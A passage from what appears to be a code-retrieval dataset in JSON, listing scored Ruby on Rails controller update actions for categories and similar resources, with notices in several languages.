format.html { redirect_to area_admin_categorias_path, notice: 'Categoria atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c4348a98fbb9ff292c5d8143c3f91c40", "score": "0.64866793", "text": "def update\n @subcategoria = Subcategoria.find(params[:id])\n\n respond_to do |format|\n if @subcategoria.update_attributes(params[:subcategoria])\n format.html { redirect_to @subcategoria, notice: 'Subcategoria was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subcategoria.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c3b2ede9480b81aafc7962fd6a39f9d4", "score": "0.6483246", "text": "def update\n respond_to do |format|\n if @rol_categorias_contenido.update(rol_categorias_contenido_params)\n format.html { redirect_to @rol_categorias_contenido, notice: 'Rol - CategoriasContenido se actualizó satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rol_categorias_contenido.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98a610c532e4af38f2b2e55095ed285a", "score": "0.6476438", "text": "def update\n @categoria = Categoria.find(params[:id])\n\n respond_to do |format|\n if @categoria.update_attributes(params[:categoria])\n format.html { redirect_to(@categoria, :notice => 'Categoria was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @categoria.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "515bb2946dc4f0773d5f3ed023b62362", "score": "0.64550376", "text": "def update\n respond_to do |format|\n if @admin_category.update(admin_category_params)\n format.html { redirect_to @admin_category, notice: t('crud.updated_successfully!', name: Admin::Category.model_name.human) }\n format.json { render :show, status: :ok, location: @admin_category }\n else\n format.html { render :edit }\n format.json { render json: @admin_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b1e14d99496a0745a1f14ac24900214", "score": "0.64402145", "text": "def update\n respond_to do |format|\n if @categori.update(categori_params)\n format.html { redirect_to @categori, notice: 'La categoría se actualizo correctamente' }\n format.json { render :show, status: :ok, location: @categori }\n else\n format.html { render :edit }\n format.json { render json: @categori.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cad0cede3dcb7a1d93f9b712bfb02a0e", "score": "0.6439736", "text": "def update\n @categorize = Categorize.find(params[:id])\n\n respond_to do |format|\n if @categorize.update_attributes(params[:categorize])\n format.html { redirect_to @categorize, notice: 'Categorize was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categorize.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce04d959871841e2e94d9ab3ff05a7ce", "score": "0.6422136", "text": "def edit\n @category = Category.find(params[:id])\n @update_category = ActiveSupport::JSON.decode(params[:category])\n if @category.update(@update_category)\n render json: @category, status: :accepted\n else\n render status: :bad_reequest\n end\n end", "title": "" }, { "docid": "f8d45706ded6155d86ece82b8e3a1ffa", "score": "0.6420119", "text": "def update\n respond_to do |format|\n if @categorium.update(categorium_params)\n format.html { redirect_to torneo_categoria_path(@torneo), notice: 'Categoría fue editada exitosamente.' }\n format.json { render :show, status: :ok, location: @categorium }\n else\n format.html { render :edit }\n format.json { render json: @categorium.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "608eb469fd1649b9523eac06884dc51d", "score": "0.6361447", "text": "def update\n respond_to do |format|\n if @admin_category.update(admin_category_params)\n format.html { redirect_to admin_administrator_category_path(@administrator, @admin_category), notice: \"Categoria foi atualizado com sucesso.\" }\n format.json { render :show, status: :ok, location: @admin_category }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @admin_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "68960c73baaf57d1b87d324534e43285", "score": "0.63487375", "text": "def update\n respond_to do |format|\n if @cat.update(admin_category_params)\n format.html { redirect_to admin_category_path(@cat), notice: 'Category updated.' }\n format.json do\n render :show, status: :ok, location: [:admin, @cat]\n end\n else\n # format.html { render :edit }\n format.json { render json: @cat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "945b76f349fc735ec2658b9f6f63e539", "score": "0.634752", "text": "def update\n respond_to do |format|\n if @categoria_taxonomica.update(categoria_taxonomica_params)\n format.html { redirect_to @categoria_taxonomica, notice: 'Categoria taxonomica was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @categoria_taxonomica.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "64c7ce804667f9d4a2f4b17e96fa7611", "score": "0.63411164", "text": "def update\n respond_to do |format|\n if @categoriaprestador.update(categoriaprestador_params)\n format.html { redirect_to @categoriaprestador, notice: 'Categoriaprestador was successfully updated.' }\n format.json { render :show, status: :ok, location: @categoriaprestador }\n else\n format.html { render :edit }\n format.json { render json: @categoriaprestador.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "657da722d4d770d92aa7b4a268523c25", "score": "0.63167465", "text": "def update\n respond_to do |format|\n if @admin_category.update(admin_category_params)\n format.html { redirect_to session['previous_url'] || admin_categories_url, notice: 'Categorie è stato aggiornato con successo.' }\n format.json { render :show, status: :ok, location: @admin_category }\n else\n format.html { render :edit }\n format.json { render json: @admin_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac5aa757f719316b3bbf87b97c5764d2", "score": "0.62681586", "text": "def update\n respond_to do |format|\n if @categorizacao.update(categorizacao_params)\n format.html { redirect_to @categorizacao, notice: 'Categorizacao was successfully updated.' }\n format.json { render :show, status: :ok, location: @categorizacao }\n else\n format.html { render :edit }\n format.json { render json: @categorizacao.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5ef25835823eb1a387c387314d1d772", "score": "0.62660015", "text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "b119e51db0ec07a9ac62437251af7f3d", "score": "0.6259633", "text": "def update\n @cotacoes = Cotacao.find(params[:id])\n\n respond_to do |format|\n if @cotacoes.update_attributes(params[:contato])\n format.html { redirect_to [:admin, @cotacoes], notice: 'Contato was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cotacoes.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "942b3269f7f6b033aef228b1f136bada", "score": "0.6258741", "text": "def update\n @supercategorium = Supercategorium.find(params[:id])\n\n respond_to do |format|\n if @supercategorium.update_attributes(params[:supercategorium])\n format.html { redirect_to @supercategorium, notice: 'Supercategoria actualizada.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @supercategorium.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50e0f86e85d657eac64f5827b420cd6f", "score": "0.62481326", "text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to admin_categories_url, notice: t(\"categories.flash.updated\") + undo_link }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d55cf51582f90e3ccd7b5d53b83c5c0", "score": "0.624435", "text": "def update\n category_ids = params[:product][:category_ids]\n params[:product].delete(:category_ids)\n @admin_product = Product.find(params[:id])\n params[:product][:categories] = Array.new\n if category_ids\n category_ids.each { |id| params[:product][:categories]. << Category.find(id) }\n end\n\n respond_to do |format|\n if @admin_product.update_attributes(params[:product])\n format.html { redirect_to admin_product_path(@admin_product), notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc406c048a529a5e28dbc2a7f08be9ee", "score": "0.6243923", "text": "def update\n @categoria_cota = CategoriaCota.find(params[:id])\n\n savePictures\n\n respond_to do |format|\n if @categoria_cota.update_attributes(params[:categoria_cota])\n format.html { redirect_to @categoria_cota, notice: 'Categoria cota was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categoria_cota.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8f2ba52d77c12e5e1f6634c1b1dace33", "score": "0.6230568", "text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to admin_panel_categories_path, notice: \"Категория #{@category.name} успешно обновлена\" }\n format.json { render :show, status: :created, location: admin_panel_categories_path }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a32b7d96306805df74ec027c2fd93928", "score": "0.62297934", "text": "def update\n respond_to do |format|\n \n if @category_type.update(category_type_params)\n # if set_category_value && @category_type.update(category_type_params)\n format.html { redirect_to [:admin, @category_type], notice: 'Подраздел был успешно обновлён.' }\n format.json { render :show, status: :ok, location: @category_type }\n else\n format.html { render :edit }\n format.json { render json: @category_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "751958adfc996df9c5c0c16f2c9eec21", "score": "0.6228042", "text": "def update\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map{|k, v| k}\n else\n params[:concepto][:tipo_ids] = []\n end\n respond_to do |format|\n if @concepto.update(concepto_params)\n format.html { redirect_to @concepto, notice: 'Concepto was successfully updated.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "69bde7593dbc4ce05e83dbe743f660c8", "score": "0.6227443", "text": "def update\n respond_to do |format|\n if @cat_libri.update(cat_libri_params)\n format.html { redirect_to @cat_libri, notice: 'La categoria è stata modificata con successo.' }\n format.json { render :show, status: :ok, location: @cat_libri }\n else\n format.html { render :edit }\n format.json { render json: @cat_libri.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d50949abc2503e6e42f123736b4963f7", "score": "0.6207449", "text": "def update\n @categorization = Categorization.find(params[:id])\n\n respond_to do |format|\n if @categorization.update_attributes(params[:categorization])\n format.html { redirect_to @categorization, notice: 'Categorization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categorization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb8b253e49ad963977ed3c5f00656466", "score": "0.619813", "text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to admin_categories_path, success: t(:admin_update_category_sucess_message) }\n format.json { render :categories, status: :ok, location: @categories }\n else\n format.html { render :edit, layout: \"admin\", danger: t(:admin_update_category_fail_message) }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "417bbf6ee66f961e1319d6eaebb6278c", "score": "0.6191027", "text": "def update\n respond_to do |format|\n if @admin_category.update(admin_category_params)\n format.html { redirect_to @admin_category, notice: \"#{t 'activerecord.successful.messages.article_category_updated'}\" }\n format.json { render :show, status: :ok, location: @admin_category }\n else\n get_options\n format.html { render :edit }\n format.json { render json: @admin_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4846a092e7d493544dbfc92fc712a9d", "score": "0.61902875", "text": "def update\n @sub_categoria = SubCategoria.find(params[:id])\n @sub_categoria.update_attributes(params[:sub_categoria])\n render :layout => false\n end", "title": "" }, { "docid": "80f55b39a75be49efcfcd4017ce9d4d0", "score": "0.6188473", "text": "def update\n @menu = \"category\"\n @board = \"category\"\n @section = \"edit\"\n \n @category = Category.get(params[:id])\n \n @category.name = params[:category][:name]\n @category.priority = params[:category][:priority].to_i\n \n if @category.save\n redirect_to (admin_category_url)\n else\n render 'category'\n end\n\n end", "title": "" }, { "docid": "80f55b39a75be49efcfcd4017ce9d4d0", "score": "0.6188473", "text": "def update\n @menu = \"category\"\n @board = \"category\"\n @section = \"edit\"\n \n @category = Category.get(params[:id])\n \n @category.name = params[:category][:name]\n @category.priority = params[:category][:priority].to_i\n \n if @category.save\n redirect_to (admin_category_url)\n else\n render 'category'\n end\n\n end", "title": "" }, { "docid": "141f01bc1d71ca9cc677b1fcb0f2a946", "score": "0.6183232", "text": "def update\n # authorize\n authorize! :update, @category\n \n respond_to do |format|\n if @category.update(category_params)\n # update parent\n @category.parent.clear\n @category.parent << Category.find(params[:parent_id]) if params[:parent_id].present?\n # update all level\n Category.update_all_level\n \n format.html { redirect_to edit_admin_category_path(@category.id), notice: 'Cập nhật chuyên mục thành công.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c72fbe4519b4d9b6f5722272ee7f7b42", "score": "0.6165644", "text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to [:admin,@category], :notice => 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @category.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8bd5e3ef1c25a7b9b8df869e241864a2", "score": "0.6161186", "text": "def update\n @subcategoria = Subcategoria.find(params[:id])\n\n respond_to do |format|\n if @subcategoria.update_attributes(params[:subcategoria])\n format.html { redirect_to(@subcategoria, :notice => 'Subcategoria was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subcategoria.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8bfd0cfd986f31ec1556c4fa0409553b", "score": "0.61515963", "text": "def update\n @components_categories_kind = Components::Categories::Kind.find(params[:id])\n index\n respond_to do |format|\n if @components_categories_kind.update_attributes(params[:components_categories_kind])\n format.js { @notice = 'Registro actualizado correctamente.' ;render 'index'\n }\n else\n format.js { \n @notice = \"Error al actualizar el registro\";\n render action: \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "0e368f3f3ea5d905ef00a62df47f2fb5", "score": "0.6150011", "text": "def update\n @cat.update(cat_params)\n render json: @cat\n end", "title": "" }, { "docid": "ce14ce7151a3d659c74085841d708525", "score": "0.6149626", "text": "def update\n @comentarios_admin = ComentariosAdmin.find(params[:id])\n\n respond_to do |format|\n if @comentarios_admin.update_attributes(params[:comentarios_admin])\n format.html { redirect_to @comentarios_admin, notice: 'Comentarios admin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comentarios_admin.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "504abd3dc3faeed994fdaac7808e4bbd", "score": "0.614873", "text": "def update\n @categori = Categori.find(params[:id])\n\n respond_to do |format|\n if @categori.update_attributes(params[:categori])\n format.html { redirect_to(@categori, :notice => 'La gategorie a ete M.A.J avec succee.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @categori.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50361aabbad152a7e6cf5805d8cf819b", "score": "0.61410546", "text": "def update\n @category = @university.categories.find(params[:id])\n authorize! :update, @category, :message => 'Acceso denegado.'\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to university_category_path(@university, @category), notice: 'La categoría fue modificada exitosamente.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "title": "" }, { "docid": "769f04fd343249c60ea14a04c2160bba", "score": "0.61379915", "text": "def update\n @subcategorium = Subcategorium.find(params[:id])\n\n respond_to do |format|\n if @subcategorium.update_attributes(params[:subcategorium])\n format.html { redirect_to @subcategorium, notice: 'Se ha actualizado la subcategoria satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subcategorium.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "625fbf859b47eb2b403ad600df468224", "score": "0.6135307", "text": "def update\n if current_spree_user.admin?\n respond_to do |format|\n if @admin_category.update(admin_category_params)\n format.html { redirect_to @admin_category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_category }\n else\n format.html { render :edit }\n format.json { render json: @admin_category.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to spree.admin_unauthorized_path\n end\n end", "title": "" }, { "docid": "cdaab738276ac0c871f040b05c0c02b2", "score": "0.61320096", "text": "def update\n @category = Category.find(params[:id])\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Actividad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f87ef7235c6cfd2e3ed59d0576683de8", "score": "0.6123733", "text": "def update\n @category = Store::Product::Category.where(:id=>params[:id]).first \n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to '/admin/categories', notice: @category.name + ' category successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "313f31d3ab4f23bf98d615106182ab2a", "score": "0.61207086", "text": "def update\n if is_current_user_owner(@negocio)\n respond_to do |format|\n @negocio.categoria_id = params[:categoria_id]\n if @negocio.update(negocio_params)\n format.html { redirect_to negocios_path notice: 'Negócio alterado com sucesso.' }\n else\n format.html { render :edit }\n end\n end\n end\n end", "title": "" }, { "docid": "43927cb894636a54c28960a5204de053", "score": "0.6115011", "text": "def update\n @category = Category.find(params[:id])\n authorize @category\n if @category.update(category_params)\n render 'api/v1/categories/show'\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "6db1c33acf470a4dfdba99bfbdb2d6c0", "score": "0.6103574", "text": "def edit\n respond_with(category)\n end", "title": "" }, { "docid": "9c50d8249538ea1c83612063a88df520", "score": "0.6094115", "text": "def update\n respond_to do |format|\n if @resource_category.update(resource_category_params)\n format.html { redirect_to resource_categories_path, notice: 'Categoría de Recursos actualizada exitosamente.' }\n format.json { render :json => @resource_category }\n else\n format.html { render action: 'edit' }\n format.json { render :json => { :errors => @resource_category.errors.full_messages }, :status => 422 }\n end\n end\n end", "title": "" }, { "docid": "c0593f9fd64ef4cdf8b4fd97313de796", "score": "0.60883963", "text": "def update\n respond_to do |format|\n if @rest_cat.update(rest_cat_params)\n format.html { redirect_to @rest_cat, notice: 'Rest cat was successfully updated.' }\n format.json { render :show, status: :ok, location: @rest_cat }\n else\n format.html { render :edit }\n format.json { render json: @rest_cat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9512f76e2cb69dc6f332693f360a3018", "score": "0.6083804", "text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Kategorie wurde erfolgreich angepasst.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de0dfe29c96777c680127eaaf00d707f", "score": "0.6081851", "text": "def update\n if !has_right?(:edit)\n redirect_to :unauthorized\n return\n end\n @category = Category.find(params[:id])\n update_objects(@category, params[:category]) ### Add to all resources\n end", "title": "" }, { "docid": "b7dd417bbfca1667249a5ede564fa2e3", "score": "0.60777915", "text": "def update\n @acategory = Acategory.find(params[:id])\n\n respond_to do |format|\n if @acategory.update_attributes(params[:acategory])\n format.html { redirect_to [:admin,@acategory], :notice => 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @acategory.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3e8eec082b066e642e401dd0c7f849c", "score": "0.6075959", "text": "def update\n respond_to do |format|\n if @cat_articulo.update(cat_articulo_params)\n format.json { head :no_content}\n format.js\n #format.html { redirect_to @cat_articulo, notice: 'La categoria fue actualizada satisfactoriamente' }\n #format.json { render :show, status: :ok, location: @cat_articulo }\n else\n #format.html { render :edit }\n #format.json { render json: @cat_articulo.errors, status: :unprocessable_entity }\n format.json{render json: @cat_articulo.errors.full_messages, status: :unprocessable_entity}\n format.js { render :edit }\n end\n end\n end", "title": "" }, { "docid": "f34808197db85dd80f157bf59d85eb4d", "score": "0.60739833", "text": "def update\n @kategorium = Kategorium.find(params[:id])\n\n respond_to do |format|\n if @kategorium.update_attributes(params[:kategorium])\n format.html { redirect_to @kategorium, notice: 'Kategorium was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kategorium.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27d24ad5ecc8e16f10c1c7ab094d475d", "score": "0.6073571", "text": "def update\n respond_to do |format|\n if @st_categoriaproduto.update(st_categoriaproduto_params)\n format.html { redirect_to @st_categoriaproduto, notice: 'St categoriaproduto was successfully updated.' }\n format.json { render :show, status: :ok, location: @st_categoriaproduto }\n else\n format.html { render :edit }\n format.json { render json: @st_categoriaproduto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ad41a0a33d1bcefcbca3c3226e0d7e3", "score": "0.60725313", "text": "def update\n\n if @categoria.update(categoria_params)\n @error = false\n @message = t('mensajes.save_success', recurso: 'la categoria')\n get_categorias\n else\n @error = true\n @message = t('mensajes.save_error', recurso: 'la categoria', errores: @categoria.errors.full_messages.to_sentence)\n end\n\n render 'reload_list', format: :js\n end", "title": "" }, { "docid": "2a2bb76da1739805948bcb12ffc33456", "score": "0.60696363", "text": "def update\n @admin_category = Admin::Category.find(params[:id])\n \n respond_to do |format|\n if @admin_category.update_attributes(params[:admin_category])\n format.html { redirect_to @admin_category, :notice => 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @admin_category.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ae838b80d24a899c082d1dc53a1410d9", "score": "0.606682", "text": "def update\n @categories = Category.all\n @categories = get_categories\n @post = Post.find(params[:id])\n\n edit_or_redirect\n\n set_user_id\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to [:admin, @post], notice: 'Статья успешно обновлена.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f495dc4a2ba8ebe78e3797e697f161ec", "score": "0.60641855", "text": "def update\n respond_to do |format|\n if @referee_category.update(referee_category_params)\n format.html { redirect_to @referee_category, notice: 'Categoria de arbitragem foi actualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @referee_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7da19d9a716015a2930fd7550203df1c", "score": "0.60623586", "text": "def update\n @categorias = Categoria.where(id: params[:produto][:categoria])\n\n if !@categorias.empty?\n respond_to do |format|\n if @produto.update(produto_params)\n #busca as categorias que foram desmarcadas\n @categorias_produtos = CategoriasProduto.where.not(categoria_id: @categorias).where(produto_id: @produto.id)\n\n @categorias.each do |categoria|\n #busca todas as categorias cadastradas\n @all_categorias = CategoriasProduto.where(categoria_id: categoria.id, produto_id: @produto.id)\n\n if @all_categorias.blank?\n CategoriasProduto.create(categoria_id: categoria.id, produto_id: @produto.id)\n end\n end\n\n @categorias_produtos.destroy_all\n\n format.html { redirect_to @produto, notice: 'Produto atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n else\n flash[:notice] = 'Selecione pelo menos uma categoria!'\n redirect_to edit_produto_path\n end\n end", "title": "" }, { "docid": "32ee15028efe7ba756a01f3b93812fa5", "score": "0.6058573", "text": "def update\n @subcategorization = Subcategorization.find(params[:id])\n\n respond_to do |format|\n if @subcategorization.update_attributes(params[:subcategorization])\n format.html { redirect_to @subcategorization, notice: 'Subcategorization was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subcategorization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd9f6765e724096b51e1781a8d79e53b", "score": "0.60585624", "text": "def update\n respond_to do |format|\n if @admin_category.update(admin_category_params)\n unless params[:admin_category][:sub_categories_attributes].blank?\n params[:admin_category][:sub_categories_attributes].each do |sub_category|\n unless sub_category[1][:id].blank?\n unless params[:selected].blank? \n ids_param = params[:selected]\n ids = convert_to_arr_for_query(ids_param)\n Admin::SubCategory.delete_all \"id in #{ids}\"\n else\n Admin::SubCategory.find(sub_category[1][:id]).update_attributes({name: sub_category[1][:name]})\n end\n else\n Admin::SubCategory.create({name: sub_category[1][:name], category_id: @admin_category.id})\n end\n end\n end\n\n format.html { redirect_to admin_categories_path, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc772b116b9d353b4ff91594e0771a93", "score": "0.60532427", "text": "def update\n respond_to do |format|\n if @categoria_gasto.update(categoria_gasto_params)\n format.json { head :no_content }\n format.js\n else\n format.json{render json: @categoria_gasto.errors.full_messages, status: :unprocessable_entity}\n format.js { render :edit }\n end\n end\n end", "title": "" }, { "docid": "78e725534db470f4f8d9c05969cab954", "score": "0.60507816", "text": "def update\n @incidente_tipo_incidente_categoria_ci = Incidente::TipoIncidenteCategoriaCi.find(params[:id])\n\n respond_to do |format|\n if @incidente_tipo_incidente_categoria_ci.update_attributes(params[:incidente_tipo_incidente_categoria_ci])\n format.html { redirect_to edit_incidente_tipo_incidente_categoria_ci_path(@incidente_tipo_incidente_categoria_ci), notice: 'Guardado Correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incidente_tipo_incidente_categoria_ci.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b13875536ad914618e8afbf1f3dff055", "score": "0.6048396", "text": "def update\n respond_to do |format|\n if @api_v1_category.update(api_v1_category_params)\n format.html { redirect_to @api_v1_category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_category }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2bfe837bfbbfe02c322d6d69cb88623", "score": "0.60470396", "text": "def update\n params[:category].try(:delete, :name)\n @category = Category.find(params[:id])\n @category.update_attributes(params[:category])\n respond_with @category, :location => categories_path\n end", "title": "" }, { "docid": "7e7a575b76849ff825ea94e81d641cb1", "score": "0.60355866", "text": "def update\n respond_to do |format|\n if @categoriaentidad.update(categoriaentidad_params)\n format.html { redirect_to @categoriaentidad, notice: 'Categoriaentidad was successfully updated.' }\n format.json { render :show, status: :ok, location: @categoriaentidad }\n else\n format.html { render :edit }\n format.json { render json: @categoriaentidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7393be67165dbbd000e09ab2fd22f960", "score": "0.6034055", "text": "def update\n respond_to do |format|\n if @admin_category.update(admin_category_params)\n format.html { redirect_to admin_categories_path, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_category }\n else\n format.html { render :edit }\n format.json { render json: @admin_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9694356e1322ece143daf2d73bb845f5", "score": "0.6029756", "text": "def update\n respond_to do |format|\n if @categori_salaire.update(categori_salaire_params)\n format.html { redirect_to @categori_salaire, notice: 'Categori salaire was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @categori_salaire.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d2dcd0d0f9c448835b0aa704ce6f516", "score": "0.60239375", "text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to [:admin, @cliente], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cliente.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "155d35434ec14da06b814e752cbdc87a", "score": "0.602198", "text": "def update\n @todo = Todo.find(params[:id])\n params[:todo][:user_id] = current_user.id\n respond_to do |format|\n if @todo.update_attributes(params[:todo].except(:category)) && @todo.category.update_attributes(params[:todo][:category])\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11933cc8c4b155911ad4b00d01523acc", "score": "0.6018909", "text": "def update\n respond_to do |format|\n if @admin_especie_catalogo.update(admin_especie_catalogo_params)\n format.html { redirect_to @admin_especie_catalogo, notice: 'Especie catalogo was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_especie_catalogo }\n else\n format.html { render :edit }\n format.json { render json: @admin_especie_catalogo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a9ff05b28bdc64a125aa480b1268ed5b", "score": "0.60161954", "text": 